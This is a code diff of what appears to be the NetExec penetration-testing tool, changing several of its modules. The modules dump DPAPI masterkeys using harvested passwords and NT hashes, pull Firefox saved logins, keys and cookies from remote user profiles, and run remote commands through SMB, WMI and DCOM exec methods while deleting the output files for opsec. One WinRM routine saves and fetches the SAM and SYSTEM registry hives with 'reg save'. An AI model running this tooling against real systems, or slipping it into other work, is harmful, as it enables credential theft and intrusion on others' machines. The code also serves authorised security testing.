context.db.add_domain_backupkey(context.domain, pvkbytes)
|
||||
else:
|
||||
context.no_da = False
|
||||
except Exception as e:
|
||||
context.logger.fail(f"Could not get domain backupkey: {e}")
|
||||
return pvkbytes
|
||||
|
||||
|
||||
def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True):
|
||||
masterkeys = []
|
||||
plaintexts = {}
|
||||
nthashes = {}
|
||||
if context.args.mkfile is not None:
|
||||
try:
|
||||
masterkeys += parse_masterkey_file(context.args.mkfile)
|
||||
except Exception as e:
|
||||
context.logger.fail(str(e))
|
||||
if user:
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
|
||||
# dploot matches user.lower()
|
||||
if context.password != "":
|
||||
plaintexts[context.username.lower()] = context.password
|
||||
if context.nthash != "":
|
||||
nthashes[context.username.lower()] = context.nthash
|
||||
|
||||
# Collect User and Machine masterkeys
|
||||
try:
|
||||
context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=dploot_connection,
|
||||
pvkbytes=context.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
if user:
|
||||
context.logger.debug("Collecting user masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_masterkeys()
|
||||
if system:
|
||||
context.logger.debug("Collecting machine masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
except Exception as e:
|
||||
context.logger.debug(f"Could not get masterkeys: {e}")
|
||||
|
||||
return masterkeys
|
||||
|
||||
|
||||
def upgrade_to_dploot_connection(target, connection=None):
|
||||
conn = None
|
||||
try:
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection
|
||||
conn.connect()
|
||||
except Exception:
|
||||
return None
|
||||
return conn
|
||||
@@ -1,53 +0,0 @@
|
||||
from time import monotonic, sleep
|
||||
|
||||
|
||||
def get_output_file(conn, share, filename, callback, tries, logger, method, first_read_delay=0.1):
|
||||
"""Read the output file of an executed command, then delete it.
|
||||
|
||||
Most commands finish within a few hundred ms, so the file is read every 0.1s during the first 0.4s
|
||||
(these quick reads don't count against --get-output-tries), then every 1s.
|
||||
"""
|
||||
path = f"{share}\\" + filename.lstrip("\\")
|
||||
quick_until = monotonic() + 0.4
|
||||
sleep(first_read_delay)
|
||||
attempt = 1
|
||||
while True:
|
||||
try:
|
||||
logger.info(f"Attempting to read {path}")
|
||||
conn.getFile(share, filename, callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if monotonic() < quick_until and ("STATUS_SHARING_VIOLATION" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e)):
|
||||
sleep(0.1)
|
||||
elif attempt >= tries:
|
||||
logger.fail(f"{method}: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
elif "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
logger.fail(f"{method}: Getting the output file failed - target has blocked access to the share: {share} (but the command may have executed!)")
|
||||
break
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing PowerShell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
elif "STATUS_SHARING_VIOLATION" in str(e):
|
||||
logger.info(f"File {path} is still in use with {tries - attempt} tries left, retrying...")
|
||||
attempt += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
logger.info(f"File {path} not found with {tries - attempt} tries left, deducting 10 tries and retrying...")
|
||||
attempt += 10
|
||||
sleep(1)
|
||||
else:
|
||||
logger.debug(f"Exception when trying to read output file: {e!s}. {tries - attempt} tries left, retrying...")
|
||||
attempt += 1
|
||||
sleep(1)
|
||||
|
||||
try:
|
||||
logger.debug(f"Deleting file {path}")
|
||||
conn.deleteFile(share, filename)
|
||||
except Exception as e:
|
||||
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
logger.debug(f"No output file {path} to delete")
|
||||
else:
|
||||
logger.fail(f"[OPSEC] {method}: Could not delete the output file {path}: {e}")
|
||||
@@ -11,8 +11,9 @@ from dataclasses import dataclass
|
||||
from typing import Any
|
||||
from Cryptodome.Cipher import AES, DES3
|
||||
from pyasn1.codec.der import decoder
|
||||
from dploot.lib.network import DPLootConnection
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
CKA_ID = unhexlify("f8000000000000000000000000000001")
|
||||
|
||||
@@ -60,7 +61,7 @@ class FirefoxTriage:
|
||||
"All Users",
|
||||
)
|
||||
|
||||
def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
|
||||
def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None):
|
||||
self.target = target
|
||||
self.logger = logger
|
||||
self.conn = conn
|
||||
@@ -68,13 +69,16 @@ class FirefoxTriage:
|
||||
self.per_secret_callback = per_secret_callback
|
||||
|
||||
def run(self, gather_cookies=False):
|
||||
if self.conn is None:
|
||||
upgrade_to_dploot_connection(target=self.target)
|
||||
|
||||
firefox_data = []
|
||||
firefox_cookies = []
|
||||
# list users
|
||||
users = self.conn.list_users()
|
||||
users = self.get_users()
|
||||
for user in users:
|
||||
try:
|
||||
directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
|
||||
directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
|
||||
except Exception as e:
|
||||
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
|
||||
continue
|
||||
@@ -85,18 +89,18 @@ class FirefoxTriage:
|
||||
try:
|
||||
if gather_cookies:
|
||||
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
|
||||
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
|
||||
cookies_data = self.conn.readFile(self.share, cookies_path)
|
||||
if cookies_data is not None:
|
||||
firefox_cookies += self.parse_cookie_data(user, cookies_data)
|
||||
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
|
||||
logins_data = self.conn.read_file(path=logins_path, share=self.share)
|
||||
logins_data = self.conn.readFile(self.share, logins_path)
|
||||
if logins_data is None:
|
||||
continue # No logins.json file found
|
||||
logins = self.get_login_data(logins_data=logins_data)
|
||||
if len(logins) == 0:
|
||||
continue # No logins profile found
|
||||
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
|
||||
key4_data = self.conn.read_file(path=key4_path, share=self.share)
|
||||
key4_data = self.conn.readFile(self.share, key4_path)
|
||||
if key4_data is None:
|
||||
continue
|
||||
# Get all available master keys (Firefox 144+ may have multiple keys)
|
||||
@@ -248,6 +252,17 @@ class FirefoxTriage:
|
||||
self.logger.debug(e)
|
||||
return "", "", ""
|
||||
|
||||
def get_users(self):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # ruff: ignore[manual-list-comprehension], ignoring for readability
|
||||
return users
|
||||
|
||||
@staticmethod
|
||||
def decode_login_data(data):
|
||||
asn1data = decoder.decode(b64decode(data))
|
||||
@@ -27,10 +27,9 @@
|
||||
|
||||
from os.path import join as path_join
|
||||
from time import sleep
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.connection import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.protocols.smb.exec_output import get_output_file
|
||||
|
||||
from impacket.dcerpc.v5.dcom.oaut import (
|
||||
IID_IDispatch,
|
||||
@@ -109,7 +108,7 @@ class MMCEXEC:
|
||||
self.logger.info(f"Got Exception while connecting with DCOM: {e}")
|
||||
# Make it force break function
|
||||
self.__dcom.disconnect()
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
|
||||
|
||||
@@ -251,4 +250,41 @@ class MMCEXEC:
|
||||
self.__outputBuffer = ""
|
||||
return
|
||||
|
||||
get_output_file(self.__smbconnection, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "MMCEXEC")
|
||||
tries = 1
|
||||
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
|
||||
sleep(0.4)
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing powershell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.deleteFile(self.__share, self.__output)
|
||||
except Exception:
|
||||
pass
|
||||
@@ -11,7 +11,6 @@ def proto_args(parser, parents):
|
||||
smb_parser.add_argument("--generate-st", type=str, dest="generate_st", help="Store a Service Ticket in the specified file. Use with --delegate to save the S4U ST, or without --delegate (together with --spn) to request a regular ST for the given SPN")
|
||||
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
|
||||
u2u_arg = smb_parser.add_argument("--u2u", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Use User-to-User (U2U) authentication with S4U2Self")
|
||||
smb_parser.add_argument("--unpac", action="store_true", help="UnPAC the hash: recover the NT hash from the PAC of the PKINIT TGT (requires a certificate)")
|
||||
|
||||
dgroup = smb_parser.add_mutually_exclusive_group()
|
||||
dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
|
||||
@@ -43,12 +42,8 @@ def proto_args(parser, parents):
|
||||
kerb_keys_arg.make_required = [ntds_arg]
|
||||
enabled_arg.make_required = [ntds_arg]
|
||||
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)")
|
||||
trust_keys_arg = cred_gathering_group.add_argument("--trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], default=True, help="Dump Trusted Domain Object (TDO) secrets and derive inter-realm Kerberos/RC4 keys (NTDS.dit)")
|
||||
just_trust_keys_arg = cred_gathering_group.add_argument("--just-trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Like --trust-keys but dump ONLY the trust keys, skipping every account secret (NTDS.dit)")
|
||||
trust_keys_arg.make_required = [ntds_arg]
|
||||
just_trust_keys_arg.make_required = [ntds_arg]
|
||||
cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems")
|
||||
cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems")
|
||||
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
|
||||
|
||||
@@ -6,6 +6,7 @@ from impacket.dcerpc.v5 import lsat, lsad, samr
|
||||
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
|
||||
from impacket.nmb import NetBIOSError
|
||||
from impacket.smbconnection import SessionError
|
||||
from nxc.protocols.ldap.constants import WELL_KNOWN_SIDS
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
@@ -143,7 +144,9 @@ class LSAQuery:
|
||||
|
||||
def lookup_sids(self, sids):
|
||||
"""Use a list comprehension to generate the names list.
|
||||
|
||||
It calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
|
||||
If the user is requesting a single SID and it is a well known SID, return the well known SID name to avoid a lookup.
|
||||
Otherwise, it calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
|
||||
"""
|
||||
if len(sids) == 1 and sids[0] in WELL_KNOWN_SIDS:
|
||||
return [WELL_KNOWN_SIDS[sids[0]]]
|
||||
return [translated_names["Name"] for translated_names in lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)["TranslatedNames"]["Names"]]
|
||||
@@ -1,10 +1,10 @@
|
||||
import os
|
||||
from os.path import join as path_join
|
||||
from time import sleep
|
||||
from impacket.dcerpc.v5 import scmr
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from nxc.protocols.smb.exec_output import get_output_file
|
||||
|
||||
|
||||
class SMBEXEC:
|
||||
@@ -97,8 +97,42 @@ class SMBEXEC:
|
||||
self.__outputBuffer = ""
|
||||
return
|
||||
|
||||
# The service start returns once the command is done, so the file can be read right away
|
||||
get_output_file(self.__connection.conn, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "SMBEXEC", first_read_delay=0)
|
||||
tries = 1
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
|
||||
self.__connection.conn.getFile(self.__share, self.__output, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"SMBEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing powershell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
|
||||
self.__connection.conn.deleteFile(self.__share, self.__output)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def finish(self):
|
||||
# Just in case the service is still created
|
||||
|
||||
@@ -1,10 +1,9 @@
|
||||
import ntpath
|
||||
import os
|
||||
from time import sleep
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.connection import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.protocols.smb.exec_output import get_output_file
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
@@ -44,7 +43,6 @@ class WMIEXEC:
|
||||
|
||||
if self.__password is None:
|
||||
self.__password = ""
|
||||
*_, tgt, _ = smbconnection.getCredentials()
|
||||
self.__dcom = DCOMConnection(
|
||||
self.__target,
|
||||
self.__username,
|
||||
@@ -57,10 +55,9 @@ class WMIEXEC:
|
||||
doKerberos=self.__doKerberos,
|
||||
kdcHost=self.__kdcHost,
|
||||
remoteHost=self.__remoteHost,
|
||||
TGT=tgt,
|
||||
)
|
||||
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'WMIEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
|
||||
|
||||
@@ -144,4 +141,41 @@ class WMIEXEC:
|
||||
self.__outputBuffer = ""
|
||||
return
|
||||
|
||||
get_output_file(self.__smbconnection, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "WMIEXEC")
|
||||
tries = 1
|
||||
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
|
||||
sleep(0.4)
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("wmiexec: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
elif "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"SMB connection: target has blocked {self.__share} access (maybe command executed!)")
|
||||
break
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing powershell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
elif "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
|
||||
sleep(1)
|
||||
tries += 1
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.deleteFile(self.__share, self.__output)
|
||||
except Exception:
|
||||
pass
|
||||
+3
-14
@@ -14,8 +14,6 @@ from paramiko.ssh_exception import (
|
||||
SSHException,
|
||||
)
|
||||
|
||||
from nxc.protocols.ssh.keyfiles import is_key_type_rejected
|
||||
|
||||
|
||||
class ssh(connection):
|
||||
def __init__(self, args, db, host):
|
||||
@@ -87,13 +85,13 @@ class ssh(connection):
|
||||
try:
|
||||
if self.args.key_file or private_key:
|
||||
self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}")
|
||||
# Load the key here: with key_filename paramiko tries every key class in turn and the last parsing failure overwrites the real authentication error.
|
||||
pkey = paramiko.PKey.from_path(self.args.key_file, password.encode() if password else None) if self.args.key_file else private_key
|
||||
self.conn.connect(
|
||||
self.host,
|
||||
port=self.port,
|
||||
username=username,
|
||||
pkey=pkey,
|
||||
passphrase=password if password != "" else None,
|
||||
pkey=private_key,
|
||||
key_filename=self.args.key_file,
|
||||
timeout=self.args.ssh_timeout,
|
||||
look_for_keys=False,
|
||||
allow_agent=False,
|
||||
@@ -127,8 +125,6 @@ class ssh(connection):
|
||||
except AuthenticationException as e:
|
||||
if "Private key file is encrypted" in str(e):
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}")
|
||||
elif is_key_type_rejected(e):
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)")
|
||||
else:
|
||||
self.logger.fail(f"{username}:{process_secret(password)}")
|
||||
except SSHException as e:
|
||||
@@ -136,15 +132,8 @@ class ssh(connection):
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password")
|
||||
elif "Error reading SSH protocol banner" in str(e):
|
||||
self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}")
|
||||
elif is_key_type_rejected(e):
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)")
|
||||
else:
|
||||
self.logger.exception(e)
|
||||
except ValueError as e:
|
||||
self.logger.debug(f"Could not load private key {self.args.key_file}: {e}")
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password")
|
||||
except TimeoutError:
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Connection timed out")
|
||||
except Exception as e:
|
||||
self.logger.exception(e)
|
||||
self.conn.close()
|
||||
|
||||
@@ -1,11 +0,0 @@
|
||||
# Substrings paramiko raises when the server refuses a public key whose algorithm is not in its accepted list, e.g. sshd set to "PubkeyAcceptedAlgorithms ssh-ed25519" while the key is RSA.
|
||||
# They must be told apart from a wrong passphrase, otherwise the operator gets an error pointing at the wrong thing.
|
||||
KEY_TYPE_REJECTED_SUBSTRINGS = (
|
||||
"no RSA pubkey algorithms are configured",
|
||||
"Unable to agree on a pubkey algorithm",
|
||||
)
|
||||
|
||||
|
||||
def is_key_type_rejected(exc):
|
||||
"""Return True if exc means the server rejected the key's algorithm."""
|
||||
return any(sub in str(exc) for sub in KEY_TYPE_REJECTED_SUBSTRINGS)
|
||||
@@ -7,7 +7,6 @@ import struct
|
||||
from nxc.config import host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.paths import NXC_PATH
|
||||
from aardwolf.commons.target import RDPTarget
|
||||
@@ -101,7 +100,7 @@ class vnc(connection):
|
||||
credential = UniCredential(protocol=asyauthProtocol.PLAIN, stype=asyauthSecret.PASS)
|
||||
self.conn = VNCConnection(target=self.target, credentials=credential, iosettings=self.iosettings)
|
||||
asyncio.run(self.connect_vnc(True))
|
||||
except TimeoutError:
|
||||
except asyncio.TimeoutError:
|
||||
# asyncio.TimeoutError is only an alias of the builtin from 3.11 on,
|
||||
# and the project supports 3.10, so catch it by its asyncio name.
|
||||
self.logger.debug(f"Timed out after {self.args.vnc_timeout}s connecting to {self.host}:{self.port}")
|
||||
@@ -145,7 +144,7 @@ class vnc(connection):
|
||||
)
|
||||
return True
|
||||
|
||||
except TimeoutError:
|
||||
except asyncio.TimeoutError:
|
||||
# Reporting an unresponsive server as a rejected password would be wrong:
|
||||
# nothing was authenticated, so say what actually happened.
|
||||
self.logger.fail(f"{password} - Connection timed out after {self.args.vnc_timeout}s")
|
||||
@@ -161,7 +160,7 @@ class vnc(connection):
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await (Path(NXC_PATH) / "screenshots" / sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")).expanduser()
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"Screenshot saved {filename}")
|
||||
|
||||
|
||||
+156
-57
@@ -1,6 +1,6 @@
|
||||
import os
|
||||
import base64
|
||||
import binascii
|
||||
import traceback
|
||||
import requests
|
||||
import urllib3
|
||||
import logging
|
||||
@@ -12,16 +12,19 @@ from pypsrp.client import Client
|
||||
from pypsrp.powershell import PSDataStreams
|
||||
from termcolor import colored
|
||||
|
||||
from dploot.lib.network.winrm import WINRMTarget as Target
|
||||
from dploot.lib.utils import is_guid, is_credfile
|
||||
from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, deriveKeysFromUser, DPAPI_BLOB, CREDENTIAL_BLOB
|
||||
from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes
|
||||
from impacket.uuid import bin_to_string
|
||||
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
from nxc.helpers.misc import gen_random_string, sanitize_dns
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.helpers.negotiate_parser import parse_challenge
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.paths import TMP_PATH
|
||||
|
||||
urllib3.disable_warnings()
|
||||
|
||||
@@ -38,10 +41,6 @@ class winrm(connection):
|
||||
self.challenge_header = None
|
||||
self.targetDomain = None
|
||||
self.no_ntlm = False
|
||||
self.dpapi_system_key = None
|
||||
self.no_da = None
|
||||
|
||||
self._dpapi_triage = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
@@ -68,11 +67,8 @@ class winrm(connection):
|
||||
self.no_ntlm = True
|
||||
return False
|
||||
|
||||
dns_hostname = ntlm_info["dns_hostname"] or ""
|
||||
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
|
||||
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
|
||||
self.hostname = sanitize_dns(hostname, self.logger)
|
||||
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
@@ -350,12 +346,13 @@ class winrm(connection):
|
||||
sam_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{sam_storename} & del C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
output_filename = self.output_file_template.format(output_folder="sam")
|
||||
try:
|
||||
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
|
||||
self.conn.fetch(f"C:\\windows\\temp\\{sam_storename}", output_filename + ".sam")
|
||||
self.conn.fetch(f"C:\\windows\\temp\\{system_storename}", output_filename + ".system")
|
||||
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
|
||||
except Exception as e:
|
||||
if ("does not exist" in str(e)) or ("TransformFinalBlock" in str(e)):
|
||||
self.logger.fail("Failed to dump SAM hashes, it may have been detected by AV or current user is not privileged user")
|
||||
@@ -375,22 +372,18 @@ class winrm(connection):
|
||||
)
|
||||
SAM.dump()
|
||||
SAM.export(output_filename)
|
||||
finally:
|
||||
try:
|
||||
